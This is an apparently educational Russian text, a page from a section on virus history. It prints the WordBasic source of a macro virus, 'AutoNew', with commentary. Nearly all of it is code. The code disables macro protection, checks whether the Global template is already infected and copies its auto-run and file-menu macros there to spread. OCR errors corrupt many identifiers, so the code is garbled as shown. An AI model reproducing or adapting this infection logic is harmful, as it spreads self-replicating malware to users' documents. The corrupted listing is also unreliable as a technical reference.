Истории о вирусах

Пример макро-вируса


Выше были изложены основы для изучения макро-вирусов. Пришло

время рассмотреть исходные тексты.

Macro name: AutoNew [AUTONEW] "U"

Encryption key: DF

Sub MAIN

'Включаем обработку автоматических макросов

DisableAutoMacros 0

'Проверим, установлен ли макрос. Если макрос AutoExec

'присутствует, считаем, что файл заражен

If (lnstalled=0) And (Forgetlt=0) Then

'Заразим. Копируем макрос

MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1



MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1

MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1

MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1

MacroCopy WindowName$()+":DateiSpeichernUnter",

"Global.-DateiSpeichernllnter", 1

MacroCopy WindowName$()+":DateiBeenden",

"GlobahDateiBeenden", 1

MacroCopy WindowName$() + ": ExtrasOptionen ",

"Global :ExtrasOptionen", 1

MacroCopy WindowName$()+":DateiDokvorlagen",

"GlobaLDateiDokvorlagen", 1

MacroCopy WindowName$()+":lt", "Global:lt", 1

MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1

End If

End Sub

'Функция проверяет, инсталлирован ли макрос AutoExec

Function Installed

'Установим переменную Installed в 0 (инициализация переменной).

"При положительном результате проверки установим ее в 1

lnstalled=0

'Проверим, есть ли макросы

If CountMacros(O) > 0 Then

"Проверим имена макросов. Если есть AutoExec,

"установим переменную Installed в 1

For i=1 To CountMacros(O)

If MacroName$(i, 0)="AutoExec" Then

lnstalled=1

End If

Next i

End If

End Function

Function Forgetit

Forgetlt=0

Section$="Compatibility"

ProfilName$="Nomvir"

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$="Ox0690690" Then

Forgetlt=1

End If

End Function



Содержание раздела